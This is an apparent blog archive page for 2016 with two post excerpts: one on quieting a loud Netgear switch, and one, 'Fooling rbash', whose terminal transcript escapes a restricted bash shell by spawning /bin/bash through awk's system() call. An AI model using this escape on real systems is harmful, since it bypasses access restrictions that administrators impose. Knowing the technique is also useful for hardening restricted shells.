2016

You are browsing the archive for 2016.

Silence that switch

Silence that switch

Some time ago I found a somewhat old Netgear Switch. 24 ports 10/100/1000 Managed Double SFP! Well, the first port is broken :) And it’s too loud! In our lab we have already a file server and an UPS, powered 24/7. This is the fan that make so much noise: We need a solution to […]

Fooling rbash

$ echo $SHELL /bin/rbash $ /bin/ls /bin/bash: line 2: /bin/ls: restricted: cannot specify `/’ in command names $ awk ‘BEGIN{system(“/bin/bash”)}’ $ /bin/ls foo bar misc $ uname -rm 2.6.18-308.16.1.el5 i686 $ bash –version GNU bash, version 3.2.25(1)-release (i386-redhat-linux-gnu) Copyright (C) 2005 Free Software Foundation, Inc. $ awk –version GNU Awk 3.1.5 Copyright (C) 1989, 1991-2005 […]